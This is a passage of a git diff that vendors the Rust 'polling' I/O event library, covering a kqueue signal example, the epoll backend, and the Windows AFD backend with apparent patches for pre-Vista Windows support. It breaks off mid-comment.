poller.modify(&l2, Event::readable(2))?; + } + _ => unreachable!(), + } + } + } +} diff --git a/lib/malio/polling/examples/wait-signal.rs b/lib/malio/polling/examples/wait-signal.rs new file mode 100644 index 0000000..e265be3 --- /dev/null +++ b/lib/malio/polling/examples/wait-signal.rs @@ -0,0 +1,67 @@ +#[cfg(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +mod example { + use polling::os::kqueue::{PollerKqueueExt, Signal}; + use polling::{Events, PollMode, Poller}; + + pub(super) fn main2() { + // Create a poller. + let poller = Poller::new().unwrap(); + + // Register SIGINT in the poller. + let sigint = Signal(rustix::process::Signal::INT.as_raw()); + poller.add_filter(sigint, 1, PollMode::Oneshot).unwrap(); + + let mut events = Events::new(); + + println!("Press Ctrl+C to exit..."); + + // Wait for events. + poller.wait(&mut events, None).unwrap(); + + // Process events. + let ev = events.iter().next().unwrap(); + match ev.key { + 1 => { + println!("SIGINT received"); + } + _ => unreachable!(), + } + } +} + +#[cfg(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +fn main() { + example::main2(); +} + +#[cfg(not(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +)))] +fn main() { + eprintln!("This example is only supported on kqueue-based platforms."); +} diff --git a/lib/malio/polling/src/epoll.rs b/lib/malio/polling/src/epoll.rs new file mode 100644 index 0000000..4137cf1 --- /dev/null +++ b/lib/malio/polling/src/epoll.rs @@ -0,0 +1,514 @@ +//! Bindings to epoll (Linux, Android). + +use std::io; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, RawFd}; +use std::time::{Duration, Instant}; + +#[cfg(not(target_os = "redox"))] +use rustix::event::{eventfd, EventfdFlags}; +#[cfg(not(target_os = "redox"))] +use rustix::time::{ + timerfd_create, timerfd_settime, Itimerspec, TimerfdClockId, TimerfdFlags, TimerfdTimerFlags, +}; + +use rustix::buffer::spare_capacity; +use rustix::event::{epoll, Timespec}; +use rustix::fd::OwnedFd; +use rustix::fs::{fcntl_getfl, fcntl_setfl, OFlags}; +use rustix::io::{fcntl_getfd, fcntl_setfd, read, write, FdFlags}; +use rustix::pipe::{pipe, pipe_with, PipeFlags}; + +use crate::{Event, PollMode}; + +/// Interface to epoll. +#[derive(Debug)] +pub struct Poller { + /// File descriptor for the epoll instance. + epoll_fd: OwnedFd, + + /// Notifier used to wake up epoll. + notifier: Notifier, + + /// File descriptor for the timerfd that produces timeouts. + /// + /// Redox does not support timerfd. + #[cfg(not(target_os = "redox"))] + timer_fd: Option, +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result { + // Create an epoll instance. + // + // Use `epoll_create1` with `EPOLL_CLOEXEC`. + let epoll_fd = epoll::create(epoll::CreateFlags::CLOEXEC)?; + + // Set up notifier and timerfd. + let notifier = Notifier::new()?; + #[cfg(not(target_os = "redox"))] + let timer_fd = timerfd_create( + TimerfdClockId::Monotonic, + TimerfdFlags::CLOEXEC | TimerfdFlags::NONBLOCK, + ) + .ok(); + + let poller = Poller { + epoll_fd, + notifier, + #[cfg(not(target_os = "redox"))] + timer_fd, + }; + + unsafe { + #[cfg(not(target_os = "redox"))] + if let Some(ref timer_fd) = poller.timer_fd { + poller.add( + timer_fd.as_raw_fd(), + Event::none(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + } + + poller.add( + poller.notifier.as_fd().as_raw_fd(), + Event::readable(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + } + + #[cfg(feature = "tracing")] + tracing::trace!( + epoll_fd = ?poller.epoll_fd.as_raw_fd(), + notifier = ?poller.notifier, + "new", + ); + Ok(poller) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + true + } + + /// Whether the poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + true + } + + /// Adds a new file descriptor. + /// + /// # Safety + /// + /// The `fd` must be a valid file descriptor. The usual condition of remaining registered in + /// the `Poller` doesn't apply to `epoll`. + pub unsafe fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "add", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + epoll::add( + &self.epoll_fd, + unsafe { rustix::fd::BorrowedFd::borrow_raw(fd) }, + epoll::EventData::new_u64(ev.key as u64), + epoll_flags(&ev, mode) | ev.extra.flags, + )?; + + Ok(()) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + epoll::modify( + &self.epoll_fd, + fd, + epoll::EventData::new_u64(ev.key as u64), + epoll_flags(&ev, mode) | ev.extra.flags, + )?; + + Ok(()) + } + + /// Deletes a file descriptor. + #[cfg_attr(not(feature = "tracing"), inline(always))] + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "delete", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?fd, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + epoll::delete(&self.epoll_fd, fd)?; + + Ok(()) + } + + /// Waits for I/O events with an optional deadline. + #[allow(clippy::needless_update)] + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let timeout = deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + #[cfg(not(target_os = "redox"))] + if let Some(ref timer_fd) = self.timer_fd { + // Configure the timeout using timerfd. + let new_val = Itimerspec { + it_interval: TS_ZERO, + it_value: match timeout { + None => TS_ZERO, + Some(t) => { + let mut ts = TS_ZERO; + ts.tv_sec = t.as_secs() as _; + ts.tv_nsec = t.subsec_nanos() as _; + ts + } + }, + ..unsafe { std::mem::zeroed() } + }; + + timerfd_settime(timer_fd, TimerfdTimerFlags::empty(), &new_val)?; + + // Set interest in timerfd. + self.modify( + timer_fd.as_fd(), + Event::readable(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + } + + #[cfg(not(target_os = "redox"))] + let timer_fd = &self.timer_fd; + #[cfg(target_os = "redox")] + let timer_fd: Option = None; + + // Timeout for epoll. In case of overflow, use no timeout. + let timeout = match (timer_fd, timeout) { + (_, Some(t)) if t == Duration::from_secs(0) => Some(Timespec::default()), + (None, Some(t)) => Timespec::try_from(t).ok(), + _ => None, + }; + + // Wait for I/O events. + epoll::wait( + &self.epoll_fd, + spare_capacity(&mut events.list), + timeout.as_ref(), + )?; + #[cfg(feature = "tracing")] + tracing::trace!( + epoll_fd = ?self.epoll_fd.as_raw_fd(), + res = ?events.list.len(), + "new events", + ); + + // Clear the notification (if received) and re-register interest in it. + self.notifier.clear(); + self.modify( + self.notifier.as_fd(), + Event::readable(crate::NOTIFY_KEY), + PollMode::Oneshot, + )?; + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + notifier = ?self.notifier, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.notifier.notify(); + Ok(()) + } +} + +impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.epoll_fd.as_raw_fd() + } +} + +impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.epoll_fd.as_fd() + } +} + +impl Drop for Poller { + fn drop(&mut self) { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "drop", + epoll_fd = ?self.epoll_fd.as_raw_fd(), + notifier = ?self.notifier, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + #[cfg(not(target_os = "redox"))] + if let Some(timer_fd) = self.timer_fd.take() { + let _ = self.delete(timer_fd.as_fd()); + } + let _ = self.delete(self.notifier.as_fd()); + } +} + +/// `timespec` value that equals zero. +#[cfg(not(target_os = "redox"))] +const TS_ZERO: Timespec = unsafe { std::mem::transmute([0u8; std::mem::size_of::()]) }; + +/// Get the EPOLL flags for the interest. +fn epoll_flags(interest: &Event, mode: PollMode) -> epoll::EventFlags { + let mut flags = match mode { + PollMode::Oneshot => epoll::EventFlags::ONESHOT, + PollMode::Level => epoll::EventFlags::empty(), + PollMode::Edge => epoll::EventFlags::ET, + PollMode::EdgeOneshot => epoll::EventFlags::ET | epoll::EventFlags::ONESHOT, + }; + if interest.readable { + flags |= read_flags(); + } + if interest.writable { + flags |= write_flags(); + } + flags +} + +/// Epoll flags for all possible readability events. +fn read_flags() -> epoll::EventFlags { + use epoll::EventFlags as Epoll; + Epoll::IN | Epoll::HUP | Epoll::ERR | Epoll::PRI +} + +/// Epoll flags for all possible writability events. +fn write_flags() -> epoll::EventFlags { + use epoll::EventFlags as Epoll; + Epoll::OUT | Epoll::HUP | Epoll::ERR +} + +/// A list of reported I/O events. +pub struct Events { + list: Vec, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Events { + list: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.list.iter().map(|ev| { + let flags = ev.flags; + Event { + key: ev.data.u64() as usize, + readable: flags.intersects(read_flags()), + writable: flags.intersects(write_flags()), + extra: EventExtra { flags }, + } + }) + } + + /// Clear the list. + pub fn clear(&mut self) { + self.list.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.list.capacity() + } +} + +/// Extra information about this event. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct EventExtra { + flags: epoll::EventFlags, +} + +impl EventExtra { + /// Create an empty version of the data. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra { + flags: epoll::EventFlags::empty(), + } + } + + /// Add the interrupt flag to this event. + #[inline] + pub fn set_hup(&mut self, active: bool) { + self.flags.set(epoll::EventFlags::HUP, active); + } + + /// Add the priority flag to this event. + #[inline] + pub fn set_pri(&mut self, active: bool) { + self.flags.set(epoll::EventFlags::PRI, active); + } + + /// Tell if the interrupt flag is set. + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.contains(epoll::EventFlags::HUP) + } + + /// Tell if the priority flag is set. + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.contains(epoll::EventFlags::PRI) + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some( + self.flags.contains(epoll::EventFlags::ERR) + && self.flags.contains(epoll::EventFlags::HUP), + ) + } + + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.contains(epoll::EventFlags::ERR)) + } +} + +/// The notifier for Linux. +/// +/// Certain container runtimes do not expose eventfd to the client, as it relies on the host and +/// can be used to "escape" the container under certain conditions. Gramine is the prime example, +/// see [here](gramine). In this case, fall back to using a pipe. +/// +/// [gramine]: https://gramine.readthedocs.io/en/stable/manifest-syntax.html#allowing-eventfd +#[derive(Debug)] +enum Notifier { + /// The primary notifier, using eventfd. + #[cfg(not(target_os = "redox"))] + EventFd(OwnedFd), + + /// The fallback notifier, using a pipe. + Pipe { + /// The read end of the pipe. + read_pipe: OwnedFd, + + /// The write end of the pipe. + write_pipe: OwnedFd, + }, +} + +impl Notifier { + /// Create a new notifier. + fn new() -> io::Result { + // Skip eventfd for testing if necessary. + #[cfg(not(target_os = "redox"))] + { + if !cfg!(polling_test_epoll_pipe) { + // Try to create an eventfd. + match eventfd(0, EventfdFlags::CLOEXEC | EventfdFlags::NONBLOCK) { + Ok(fd) => { + #[cfg(feature = "tracing")] + tracing::trace!("created eventfd for notifier"); + return Ok(Notifier::EventFd(fd)); + } + + Err(_err) => { + #[cfg(feature = "tracing")] + tracing::warn!( + "eventfd() failed with error ({}), falling back to pipe", + _err + ); + } + } + } + } + + let (read, write) = pipe_with(PipeFlags::CLOEXEC).or_else(|_| { + let (read, write) = pipe()?; + fcntl_setfd(&read, fcntl_getfd(&read)? | FdFlags::CLOEXEC)?; + fcntl_setfd(&write, fcntl_getfd(&write)? | FdFlags::CLOEXEC)?; + io::Result::Ok((read, write)) + })?; + + fcntl_setfl(&read, fcntl_getfl(&read)? | OFlags::NONBLOCK)?; + Ok(Notifier::Pipe { + read_pipe: read, + write_pipe: write, + }) + } + + /// The file descriptor to register in the poller. + fn as_fd(&self) -> BorrowedFd<'_> { + match self { + #[cfg(not(target_os = "redox"))] + Notifier::EventFd(fd) => fd.as_fd(), + Notifier::Pipe { + read_pipe: read, .. + } => read.as_fd(), + } + } + + /// Notify the poller. + fn notify(&self) { + match self { + #[cfg(not(target_os = "redox"))] + Self::EventFd(fd) => { + let buf: [u8; 8] = 1u64.to_ne_bytes(); + let _ = write(fd, &buf); + } + + Self::Pipe { write_pipe, .. } => { + write(write_pipe, &[0; 1]).ok(); + } + } + } + + /// Clear the notification. + fn clear(&self) { + match self { + #[cfg(not(target_os = "redox"))] + Self::EventFd(fd) => { + let mut buf = [0u8; 8]; + let _ = read(fd, &mut buf); + } + + Self::Pipe { read_pipe, .. } => while read(read_pipe, &mut [0u8; 1024]).is_ok() {}, + } + } +} diff --git a/lib/malio/polling/src/iocp/afd.rs b/lib/malio/polling/src/iocp/afd.rs new file mode 100644 index 0000000..273630f --- /dev/null +++ b/lib/malio/polling/src/iocp/afd.rs @@ -0,0 +1,733 @@ +//! Safe wrapper around \Device\Afd + +use super::port::{Completion, CompletionHandle}; + +use std::cell::UnsafeCell; +use std::fmt; +use std::io; +use std::marker::{PhantomData, PhantomPinned}; +use std::mem::{self, size_of, transmute, MaybeUninit}; +use std::ops; +use std::os::windows::prelude::{AsRawHandle, RawHandle, RawSocket}; +use std::pin::Pin; +use std::ptr; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::OnceLock; + +use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES; +use windows_sys::Wdk::Storage::FileSystem::FILE_OPEN; +use windows_sys::Win32::Foundation::{ + CloseHandle, HANDLE, HMODULE, NTSTATUS, STATUS_NOT_FOUND, STATUS_PENDING, STATUS_SUCCESS, + UNICODE_STRING, +}; +use windows_sys::Win32::Networking::WinSock::{ + WSAIoctl, SIO_BASE_HANDLE, SIO_BSP_HANDLE_POLL, SOCKET_ERROR, +}; +use windows_sys::Win32::Storage::FileSystem::{FILE_SHARE_READ, FILE_SHARE_WRITE, SYNCHRONIZE}; +use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleW, GetProcAddress}; +use windows_sys::Win32::System::IO::IO_STATUS_BLOCK; + +// NtCancelIoFileEx may be missing on older systems; declare it as link-time resolved to avoid runtime GetProcAddress failure. +#[allow(non_snake_case)] +extern "system" { + fn NtCancelIoFileEx( + FileHandle: HANDLE, + IoRequestToCancel: *mut IO_STATUS_BLOCK, + IoStatusBlock: *mut IO_STATUS_BLOCK, + ) -> NTSTATUS; +} + +#[repr(C)] +struct RtlOsVersionInfoW { + dwOSVersionInfoSize: u32, + dwMajorVersion: u32, + dwMinorVersion: u32, + dwBuildNumber: u32, + dwPlatformId: u32, + szCSDVersion: [u16; 128], +} + +fn is_pre_vista() -> bool { + static PRE_VISTA: OnceLock = OnceLock::new(); + + *PRE_VISTA.get_or_init(|| unsafe { + let ntdll = match NtdllImports::get() { + Ok(ntdll) => ntdll, + Err(_) => return false, + }; + + let mut info: RtlOsVersionInfoW = std::mem::zeroed(); + info.dwOSVersionInfoSize = size_of::() as u32; + + let status = ntdll.RtlGetVersion(&mut info as *mut RtlOsVersionInfoW); + status >= 0 && info.dwMajorVersion < 6 + }) +} + +#[derive(Default)] +#[repr(C)] +pub(super) struct AfdPollInfo { + /// The timeout for this poll. + timeout: i64, + + /// The number of handles being polled. + handle_count: u32, + + /// Whether or not this poll is exclusive for this handle. + exclusive: u32, + + /// The handles to poll. + handles: [AfdPollHandleInfo; 1], +} + +#[repr(C)] +struct AfdPollHandleInfo { + /// The handle to poll. + handle: HANDLE, + + /// The events to poll for. + events: AfdPollMask, + + /// The status of the poll. + status: NTSTATUS, +} + +impl Default for AfdPollHandleInfo { + fn default() -> Self { + Self { + handle: ptr::null_mut(), + events: Default::default(), + status: Default::default(), + } + } +} + +impl AfdPollInfo { + pub(super) fn handle_count(&self) -> u32 { + self.handle_count + } + + pub(super) fn events(&self) -> AfdPollMask { + self.handles[0].events + } +} + +#[derive(Default, Copy, Clone, PartialEq, Eq)] +#[repr(transparent)] +pub(super) struct AfdPollMask(u32); + +impl AfdPollMask { + pub(crate) const RECEIVE: AfdPollMask = AfdPollMask(0x001); + pub(crate) const RECEIVE_EXPEDITED: AfdPollMask = AfdPollMask(0x002); + pub(crate) const SEND: AfdPollMask = AfdPollMask(0x004); + pub(crate) const DISCONNECT: AfdPollMask = AfdPollMask(0x008); + pub(crate) const ABORT: AfdPollMask = AfdPollMask(0x010); + pub(crate) const LOCAL_CLOSE: AfdPollMask = AfdPollMask(0x020); + pub(crate) const ACCEPT: AfdPollMask = AfdPollMask(0x080); + pub(crate) const CONNECT_FAIL: AfdPollMask = AfdPollMask(0x100); + + /// Creates an empty mask. + pub(crate) const fn empty() -> AfdPollMask { + AfdPollMask(0) + } + + /// Checks if this mask contains the other mask. + pub(crate) fn intersects(self, other: AfdPollMask) -> bool { + (self.0 & other.0) != 0 + } + + /// Sets a flag. + pub(crate) fn set(&mut self, other: AfdPollMask, value: bool) { + if value { + *self |= other; + } else { + self.0 &= !other.0; + } + } +} + +impl fmt::Debug for AfdPollMask { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + const FLAGS: &[(&str, AfdPollMask)] = &[ + ("RECEIVE", AfdPollMask::RECEIVE), + ("RECEIVE_EXPEDITED", AfdPollMask::RECEIVE_EXPEDITED), + ("SEND", AfdPollMask::SEND), + ("DISCONNECT", AfdPollMask::DISCONNECT), + ("ABORT", AfdPollMask::ABORT), + ("LOCAL_CLOSE", AfdPollMask::LOCAL_CLOSE), + ("ACCEPT", AfdPollMask::ACCEPT), + ("CONNECT_FAIL", AfdPollMask::CONNECT_FAIL), + ]; + + let mut first = true; + for (name, value) in FLAGS { + if self.intersects(*value) { + if !first { + write!(f, " | ")?; + } + + first = false; + write!(f, "{name}")?; + } + } + + Ok(()) + } +} + +impl ops::BitOr for AfdPollMask { + type Output = Self; + + fn bitor(self, rhs: Self) -> Self { + AfdPollMask(self.0 | rhs.0) + } +} + +impl ops::BitOrAssign for AfdPollMask { + fn bitor_assign(&mut self, rhs: Self) { + self.0 |= rhs.0; + } +} + +impl ops::BitAnd for AfdPollMask { + type Output = Self; + + fn bitand(self, rhs: Self) -> Self { + AfdPollMask(self.0 & rhs.0) + } +} + +impl ops::BitAndAssign for AfdPollMask { + fn bitand_assign(&mut self, rhs: Self) { + self.0 &= rhs.0; + } +} + +pub(super) trait HasAfdInfo { + fn afd_info(self: Pin<&Self>) -> Pin<&UnsafeCell>; +} + +macro_rules! define_ntdll_import { + ( + $( + $(#[$attr:meta])* + fn $name:ident($($arg:ident: $arg_ty:ty),*) -> $ret:ty; + )* + ) => { + /// Imported functions from ntdll.dll. + #[allow(non_snake_case)] + pub(super) struct NtdllImports { + $( + $(#[$attr])* + $name: unsafe extern "system" fn($($arg_ty),*) -> $ret, + )* + } + + #[allow(non_snake_case)] + impl NtdllImports { + unsafe fn load(ntdll: HMODULE) -> io::Result { + $( + #[allow(clippy::missing_transmute_annotations)] + let $name = { + const NAME: &str = concat!(stringify!($name), "\0"); + let addr = GetProcAddress(ntdll, NAME.as_ptr() as *const _); + + let addr = match addr { + Some(addr) => addr, + // NtCancelIoFileEx may be missing on some platforms (e.g. XP), fall back to the link-time compat shim. + None if NAME == concat!("NtCancelIoFileEx", "\0") => { + // Cast the function to the same type as GetProcAddress return value + transmute::< + unsafe extern "system" fn(HANDLE, *mut IO_STATUS_BLOCK, *mut IO_STATUS_BLOCK) -> NTSTATUS, + unsafe extern "system" fn() -> isize + >(NtCancelIoFileEx) + } + None => { + #[cfg(feature = "tracing")] + tracing::error!("Failed to load ntdll function {}", NAME); + return Err(io::Error::last_os_error()); + }, + }; + + transmute::<_, unsafe extern "system" fn($($arg_ty),*) -> $ret>(addr) + }; + )* + + Ok(Self { + $( + $name, + )* + }) + } + + $( + $(#[$attr])* + unsafe fn $name(&self, $($arg: $arg_ty),*) -> $ret { + (self.$name)($($arg),*) + } + )* + } + }; +} + +define_ntdll_import! { + /// Cancels an ongoing I/O operation. + fn NtCancelIoFileEx( + FileHandle: HANDLE, + IoRequestToCancel: *mut IO_STATUS_BLOCK, + IoStatusBlock: *mut IO_STATUS_BLOCK + ) -> NTSTATUS; + + /// Cancels all ongoing I/O operations on a handle (available on pre-Vista systems). + fn NtCancelIoFile( + FileHandle: HANDLE, + IoStatusBlock: *mut IO_STATUS_BLOCK + ) -> NTSTATUS; + + /// Opens or creates a file handle. + #[allow(clippy::too_many_arguments)] + fn NtCreateFile( + FileHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut OBJECT_ATTRIBUTES, + IoStatusBlock: *mut IO_STATUS_BLOCK, + AllocationSize: *mut i64, + FileAttributes: u32, + ShareAccess: u32, + CreateDisposition: u32, + CreateOptions: u32, + EaBuffer: *mut (), + EaLength: u32 + ) -> NTSTATUS; + + /// Runs an I/O control on a file handle. + /// + /// Practically equivalent to `ioctl`. + #[allow(clippy::too_many_arguments)] + fn NtDeviceIoControlFile( + FileHandle: HANDLE, + Event: HANDLE, + ApcRoutine: *mut (), + ApcContext: *mut (), + IoStatusBlock: *mut IO_STATUS_BLOCK, + IoControlCode: u32, + InputBuffer: *mut (), + InputBufferLength: u32, + OutputBuffer: *mut (), + OutputBufferLength: u32 + ) -> NTSTATUS; + + /// Converts `NTSTATUS` to a DOS error code. + fn RtlNtStatusToDosError( + Status: NTSTATUS + ) -> u32; + + /// Gets the OS version without compatibility shims/manifest issues. + fn RtlGetVersion( + VersionInformation: *mut RtlOsVersionInfoW + ) -> NTSTATUS; +} + +impl NtdllImports { + fn get() -> io::Result<&'static Self> { + macro_rules! s { + ($e:expr) => {{ + $e as u16 + }}; + } + + // ntdll.dll + static NTDLL_NAME: &[u16] = &[ + s!('n'), + s!('t'), + s!('d'), + s!('l'), + s!('l'), + s!('.'), + s!('d'), + s!('l'), + s!('l'), + s!('\0'), + ]; + static NTDLL_IMPORTS: OnceLock> = OnceLock::new(); + + NTDLL_IMPORTS + .get_or_init(|| unsafe { + let ntdll = GetModuleHandleW(NTDLL_NAME.as_ptr() as *const _); + + if ntdll.is_null() { + #[cfg(feature = "tracing")] + tracing::error!("Failed to load ntdll.dll"); + return Err(io::Error::last_os_error()); + } + + NtdllImports::load(ntdll) + }) + .as_ref() + .map_err(|e| io::Error::from(e.kind())) + } + + pub(super) fn force_load() -> io::Result<()> { + Self::get()?; + Ok(()) + } +} + +/// The handle to the AFD device. +pub(super) struct Afd { + /// The handle to the AFD device. + handle: HANDLE, + + /// We own `T`. + _marker: PhantomData, +} + +impl fmt::Debug for Afd { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + struct WriteAsHex(HANDLE); + + impl fmt::Debug for WriteAsHex { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{:010x}", self.0 as usize) + } + } + + f.debug_struct("Afd") + .field("handle", &WriteAsHex(self.handle)) + .finish() + } +} + +impl Drop for Afd { + fn drop(&mut self) { + unsafe { + CloseHandle(self.handle); + } + } +} + +impl AsRawHandle for Afd { + fn as_raw_handle(&self) -> RawHandle { + self.handle as _ + } +} + +impl Afd +where + T::Completion: AsIoStatusBlock + HasAfdInfo, +{ + /// Create a new AFD device. + pub(super) fn new() -> io::Result { + macro_rules! s { + ($e:expr) => { + ($e) as u16 + }; + } + + /// \Device\Afd\Smol + const AFD_NAME: &[u16] = &[ + s!('\\'), + s!('D'), + s!('e'), + s!('v'), + s!('i'), + s!('c'), + s!('e'), + s!('\\'), + s!('A'), + s!('f'), + s!('d'), + s!('\\'), + s!('S'), + s!('m'), + s!('o'), + s!('l'), + s!('\0'), + ]; + + // Set up device attributes. + let mut device_name = UNICODE_STRING { + Length: mem::size_of_val(AFD_NAME) as u16, + MaximumLength: mem::size_of_val(AFD_NAME) as u16, + Buffer: AFD_NAME.as_ptr() as *mut _, + }; + let mut device_attributes = OBJECT_ATTRIBUTES { + Length: size_of::() as u32, + RootDirectory: ptr::null_mut(), + ObjectName: &mut device_name, + Attributes: 0, + SecurityDescriptor: ptr::null_mut(), + SecurityQualityOfService: ptr::null_mut(), + }; + + let mut handle = MaybeUninit::::uninit(); + let mut iosb = MaybeUninit::::zeroed(); + let ntdll = NtdllImports::get()?; + + let result = unsafe { + ntdll.NtCreateFile( + handle.as_mut_ptr(), + SYNCHRONIZE, + &mut device_attributes, + iosb.as_mut_ptr(), + ptr::null_mut(), + 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, + FILE_OPEN, + 0, + ptr::null_mut(), + 0, + ) + }; + + if result != STATUS_SUCCESS { + let real_code = unsafe { ntdll.RtlNtStatusToDosError(result) }; + + return Err(io::Error::from_raw_os_error(real_code as i32)); + } + + let handle = unsafe { handle.assume_init() }; + + Ok(Self { + handle, + _marker: PhantomData, + }) + } + + /// Begin polling with the provided handle. + pub(super) fn poll( + &self, + packet: T, + base_socket: RawSocket, + afd_events: AfdPollMask, + ) -> io::Result<()> { + const IOCTL_AFD_POLL: u32 = 0x00012024; + // Pre-Vista (XP/2003) systems can get stuck with a never-completing AFD poll. + // Use a finite relative timeout (in 100ns units) to force periodic completion. + const PRE_VISTA_TIMEOUT_100NS: i64 = -10_000_000; // 1s + + // Lock the packet. + if !packet.get().try_lock() { + return Err(io::Error::new( + io::ErrorKind::WouldBlock, + "packet is already in use", + )); + } + + // Set up the AFD poll info. + let poll_info = unsafe { + let poll_info = Pin::into_inner_unchecked(packet.get().afd_info()).get(); + + // Initialize the AFD poll info. + (*poll_info).exclusive = false.into(); + (*poll_info).handle_count = 1; + (*poll_info).timeout = if is_pre_vista() { + PRE_VISTA_TIMEOUT_100NS + } else { + i64::MAX + }; + (*poll_info).handles[0].handle = base_socket as HANDLE; + (*poll_info).handles[0].status = 0; + (*poll_info).handles[0].events = afd_events; + + poll_info + }; + + let iosb = T::into_ptr(packet).cast::(); + // Set Status to pending + unsafe { + (*iosb).Anonymous.Status = STATUS_PENDING; + } + + let ntdll = NtdllImports::get()?; + let result = unsafe { + ntdll.NtDeviceIoControlFile( + self.handle, + ptr::null_mut(), + ptr::null_mut(), + iosb.cast(), + iosb.cast(), + IOCTL_AFD_POLL, + poll_info.cast(), + size_of::() as u32, + poll_info.cast(), + size_of::() as u32, + ) + }; + + match result { + STATUS_SUCCESS => Ok(()), + STATUS_PENDING => Err(io::ErrorKind::WouldBlock.into()), + status => { + let real_code = unsafe { ntdll.RtlNtStatusToDosError(status) }; + + Err(io::Error::from_raw_os_error(real_code as i32)) + } + } + } + + /// Cancel an ongoing poll operation. + /// + /// # Safety + /// + /// The poll operation must currently be in progress for this AFD. + pub(super) unsafe fn cancel(&self, packet: &T) -> io::Result<()> { + let ntdll = NtdllImports::get()?; + + let result = { + // First, check if the packet is still in use. + let iosb = packet.as_ptr().cast::(); + + if (*iosb).Anonymous.Status != STATUS_PENDING { + return Ok(()); + } + + // Cancel the packet. + let mut cancel_iosb = MaybeUninit::::zeroed(); + + if is_pre_vista() { + // XP doesn't reliably support per-request cancellation; cancel all pending I/O on the AFD handle. + ntdll.NtCancelIoFile(self.handle, cancel_iosb.as_mut_ptr()) + } else { + ntdll.NtCancelIoFileEx(self.handle, iosb, cancel_iosb.as_mut_ptr()) + } + }; + + if result == STATUS_SUCCESS || result == STATUS_NOT_FOUND { + Ok(()) + } else { + let real_code = ntdll.RtlNtStatusToDosError(result); + + Err(io::Error::from_raw_os_error(real_code as i32)) + } + } +} + +pin_project_lite::pin_project! { + /// An I/O status block paired with some auxiliary data. + #[repr(C)] + pub(super) struct IoStatusBlock { + // The I/O status block. + iosb: UnsafeCell, + + // Whether or not the block is in use. + in_use: AtomicBool, + + // The auxiliary data. + #[pin] + data: T, + + // This block is not allowed to move. + #[pin] + _marker: PhantomPinned, + } +} + +impl fmt::Debug for IoStatusBlock { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("IoStatusBlock") + .field("iosb", &"..") + .field("in_use", &self.in_use) + .field("data", &self.data) + .finish() + } +} + +unsafe impl Send for IoStatusBlock {} +unsafe impl Sync for IoStatusBlock {} + +impl From for IoStatusBlock { + fn from(data: T) -> Self { + Self { + iosb: UnsafeCell::new(unsafe { std::mem::zeroed() }), + in_use: AtomicBool::new(false), + data, + _marker: PhantomPinned, + } + } +} + +impl IoStatusBlock { + pub(super) fn iosb(self: Pin<&Self>) -> &UnsafeCell { + self.project_ref().iosb + } + + pub(super) fn data(self: Pin<&Self>) -> Pin<&T> { + self.project_ref().data + } +} + +impl HasAfdInfo for IoStatusBlock { + fn afd_info(self: Pin<&Self>) -> Pin<&UnsafeCell> { + self.project_ref().data.afd_info() + } +} + +/// Can be transmuted to an I/O 